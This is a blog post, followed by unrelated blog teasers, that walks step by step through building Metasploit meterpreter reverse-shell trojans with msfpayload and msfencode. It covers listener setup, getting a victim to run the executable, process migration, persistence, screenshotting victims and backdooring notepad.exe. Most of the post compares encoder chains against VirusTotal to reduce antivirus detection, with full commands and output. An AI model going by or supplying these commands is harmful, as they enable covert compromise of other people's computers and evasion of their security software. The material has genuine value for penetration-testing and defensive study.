Skip to main content

Metasploit Reverse Shell and AntiVirus

Normally, here's how you build a reverse shell with Metasploit (client-side exploit):

Step 1) Build Callback Payload:
./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4321 x > /tmp/windows_meterpreter_reverseTCP_to_10.50.60.69_on_port4321.exe

Step 2) Set up attacker to listen for callback:

msf > set LHOST
msf > set LPORT 4321
LPORT => 4321
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp


Step 3) Put payload on victim, and get them to execute the .exe file, which will call back to the multi-handler, and it's game over

Remember to migrate from the notepad process quickly, as if they close it, you'll lose your shell (run migrate explorer.exe)

To make a reverse shell payload on a x64 Windows7 box:
./msfpayload windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 x > /tmp/windows_x64_meterpreter_reverseTCP_to_192_168_1_169_on_port4444.exe

If you have admin privs when in a meterpreter session, you can make your trojan persistent by using 'run scheduleme -m 1 -u e /root/windows_x64_meterpreter_reverse_tcp_to_host69_on_port4444.exe'

to take a screenshot, of your victim, use 'use espia' and 'screengrab' or simply 'screenshot'

But wait!  Let's say you're worried about lighting up an Antivirus... how do you get around that? When I submited the above trojan to Virus Total, heres what I got: 

57.1% of AVs caught me!  Ouch! (at least I slipped past Kaspersky, Symantec, and McAfee)

So, I thought I'd try encoding the trojan with ShikataGaNai, the premiere encoder.  
Here's how you build a callback payload that is encoded with ShikataGaNai 6 times:
./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4321 R | ./msfencode -t exe -o /tmp/encoded_callback_on_port_4321_to_10_50_60_69.exe -e x86/shikata_ga_nai -c 6

If you run this through VirusTotal, it still lights up AVs, but not as many (48.8%):

I thought that maybe more encoding would help.  How about 100 times (46.5%)? 

How about 1000 times?  Interestingly, this was still 46.5%!  Also, the encoder started CRAWLING around 500 times.... so be warned... the wait was DEFINITELY not worth it, as 1000 times was exactly the same as 100 times.  It seemed that encoding more than 10 times wasn't worth much.  But take note: MS Security Essentials ALWAYS caught me, while Symantic and McAfee and even Kaspersky were pretty lame  Below is the full scan (which has the same results as the 100 encoding scan):


So in general, encoding with ShikataGaNai helps to slip through some AVs, but it should be tested on the AV on the system you're going against (if you know it).  

Supplemental Note:  If you wanted to build a trojan into an existing file... say notepad, use this:
./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4321 R | ./msfencode -t exe -x notepad.exe -k -o new_notepad.exe -e x86/shikata_ga_nai -c 6

How about different, or multiple encoders, you might ask?  

msfencode wants machine language (Raw output from msfpayload) as input, so you can't go from executable to executable.  But you can go from Raw to Raw... thus, to encode with TWO encoders, I used this (output shown for clairity):

root@bt:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4321 R | ./msfencode -e x86/fnstenv_mov -t raw -c 3 | ./msfencode -t exe -c 3 > /tmp/doubleencoded_3xeach.exe
[*] x86/fnstenv_mov succeeded with size 314 (iteration=1)
[*] x86/fnstenv_mov succeeded with size 338 (iteration=2)
[*] x86/fnstenv_mov succeeded with size 362 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 389 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 416 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 443 (iteration=3)

Great!  I tested this, and it still worked fine (it got me a session).  Now, what are my choices of encoders?  
root@bt:/pentest/exploits/framework3# ./msfencode -l

Framework Encoders

    Name                    Rank       Description
    ----                    ----       -----------
    cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
    cmd/ifs                 low        Generic ${IFS} Substitution Command Encoder
    cmd/printf_php_mq       good       printf(1) via PHP magic_quotes Utility Command Encoder
    generic/none            normal     The "none" Encoder
    mipsbe/longxor          normal     XOR Encoder
    mipsle/longxor          normal     XOR Encoder
    php/base64              great      PHP Base64 encoder
    ppc/longxor             normal     PPC LongXOR Encoder
    ppc/longxor_tag         normal     PPC LongXOR Encoder
    sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
    x64/xor                 normal     XOR Encoder
    x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
    x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
    x86/context_cpuid       manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat        manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time        manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown           normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha            low        Non-Alpha Encoder
    x86/nonupper            low        Non-Upper Encoder
    x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit   manual     Single Static Bit
    x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
let's try to chain a few together and see how VirusTotal likes it:

root@bt:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4321 R | ./msfencode -e x86/call4_dword_xor -t raw -c 3 | ./msfencode -e x86/countdown -t raw -c 3 | ./msfencode -e x86/fnstenv_mov -t raw -c 3 | ./msfencode -e x86/jmp_call_additive -t raw -c 3 | ./msfencode -t exe -c 3 > /tmp/5x_encoded_3xeach.exe
[*] x86/call4_dword_xor succeeded with size 316 (iteration=1)
[*] x86/call4_dword_xor succeeded with size 340 (iteration=2)
[*] x86/call4_dword_xor succeeded with size 364 (iteration=3)
[*] x86/countdown succeeded with size 382 (iteration=1)
[*] x86/countdown succeeded with size 400 (iteration=2)
[*] x86/countdown succeeded with size 418 (iteration=3)
[*] x86/fnstenv_mov succeeded with size 442 (iteration=1)
[*] x86/fnstenv_mov succeeded with size 466 (iteration=2)
[*] x86/fnstenv_mov succeeded with size 490 (iteration=3)
[*] x86/jmp_call_additive succeeded with size 521 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 553 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 585 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 612 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 639 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 666 (iteration=3)

Great!  The question is... does the trojan still work after all that encoding, and will it help to avoid AV?   

Reliability:  In testing, even with all that encoding, no matter how I encoded it I still got a reliable shell... so multiple encoding seemed robust.

AV Avoidance: When I submitted the above trojans to VirusTotal, I got this:

File name:        doubleencoded_3xeach.exe
Submission date:  2011-03-05 13:12:17 (UTC)
Current status:   queued queued analysing finished
Result:           20/ 43 (46.5%)

File name:        5x_encoded_3xeach.exe
Submission date:  2011-03-05 13:15:16 (UTC)
Current status:   queued (#6) queued analysing finished
Result:           20/ 43 (46.5%)

So, it seemed that encoding with multiple encoders, even multiple times, isn't any better than encoding with ShikataGaNai alone (9 times).  Just to be sure, I ran the above, again, a few times with all 5 encoders, and a few runs of just ShikataGaNai.  Here's the VirusTotal output:

File name:        5x_encoded_7xeach.exe
Submission date:  2011-03-05 13:32:45 (UTC)
Current status:   queued queued (#6) analysing finished
Result:           20/ 43 (46.5%)

File name:        5x_encoded_10xeach.exe
Submission date:  2011-03-05 13:29:06 (UTC)
Current status:   queued (#18) queued (#18) analysing finished
Result:           21/ 43 (48.8%)

File name:        ShikataGaNai_encoded_9x.exe
Submission date:  2011-03-05 13:35:18 (UTC)
Current status:   queued (#7) queued analysing finished
Result:           20/ 43 (46.5%)

File name:        ShikataGaNai_encoded_10x.exe
Submission date:  2011-03-05 13:28:53 (UTC)
Current status:   queued queued analysing finished
Result:           20/ 42 (47.6%)

Lessons Learned:  Odd numbers of runs are better than even numbers (must be an XOR thing), and I really couldn't do better than 7 runs of ShikataGaNai alone, so I think I'll just stick with ShikataGaNai 9 times and call it a day.  


Popular posts from this blog

atftpd vs tftpd-hpa

Recently I was trying to tftp files from a Windows computer to a Kali box.   One version of Windows worked, but another didn't.    After much troubleshooting, here were my symptoms:

I could tftp a file from-to any Kali box from-to another Kali box
I could NOT tftp files to a specific Windows 7 box from any Kali box
I could NOT tftp files to a Chrooted-Ubuntu-Chromebook box from a Kali box

After MUCH troubleshooting, going through every setting in atftpd, it seemed like it literally was a client OS problem.  Different clients simply would not download files---unacceptable.

Thus, I switched to tftpd-hpa.   To install:
apt-get install tftpd-hpa

files go to/come from /srv/tftp, but it needs to be a tftp user. Thus, I needed to:
chroot -R /srv/tftp

Also, if you want to be able to put files ON the tftp server (from a client), you need to modify /etc/default/tftpd-hpa:
change "TFTP_OPTIONS="--secure" to "TFTP_OPTIONS="--secure --create"

I also changed the IP li…

ADS-B plotting with Kali (and other SDR goodies)

Recently I wanted to try some Software Defined Radio stuff.   
I had a RTL-SDR, FM+DAB, DVB-T USB Stick Set with RTL2832U & R820T. that I got from:
But, even though this dongle would break out FM radio stations, and ATC frequencies (like the local Ground Control, tower, and even ATIS), which was cool, it wouldn't break out ADS-B.   
Thus, I bought a Vantech Green Mini RTL2832U R820T DVB-T SDR DAB FM USB DIGITAL TV Tuner Receiver RTL-SDR Project + DAB dongle Tuner MCX Input from Amazon, and tried this.  
This dongle was able to listen to the 1090MHz frequency required for ADS-B (as it goes from 25MHz to 1700MHz).  There were tons of Windows programs out there for breaking out and plotting ADS-B Mode S broadcasts, but not many for Linux.  
For Kali Linux, here's how I got it running and plotting planes around my home:
0) before you start, you should do an apt-get update to ensure you hav…

Temper Temperature monitor on a Beaglebone Black

Beaglebone Black as a temperature monitor:

Recently I wanted to monitor the temperature of my shed.  I thought I'd use a small computer such as a Raspberry Pi or a Beaglebone or Odroid.

My Raspberry Pi boxes were all in use, so I grabbed my Beaglebone, which was doing nothing.

I flashed it with the Debian9.32018-03-054GB SDIoTimage, but that seemed like it was running lots of bloatware and the ethernet interface wouldn't take a static IP with /etc/network/interfaces.

So I went with the Debian9.32018-01-284GB SDLXQTi image instead.  I still had the same problem, that lots of junk was running, and I couldn't configure my interface by modifying /etc/network/interfaces

So my first step was to get rid of all the bloatware.  If you're using a Raspberry Pi or something, you can skip this and just go to the second step below

STEP 1--Remove Blotatware from Beaglebone Black:

With some searching, I came across this post:…